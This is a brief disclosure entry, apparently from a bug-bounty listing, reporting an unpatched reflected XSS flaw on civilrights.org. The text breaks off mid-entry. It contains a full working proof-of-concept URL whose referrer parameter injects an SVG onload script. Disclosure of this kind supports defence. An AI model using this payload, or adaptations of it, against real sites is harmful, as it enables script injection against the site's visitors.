civilrights.org XSS vulnerability

Vulnerable URL: http://www.civilrights.org/advocacy/letters/2017/oppose-confirmation-of-betsy.html?referrer=a%27%22--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CSvg%20/Onload=confirmOPENBUGBOUNTY%3E Details: Description| Value ---|--- Patched:| No Latest chec...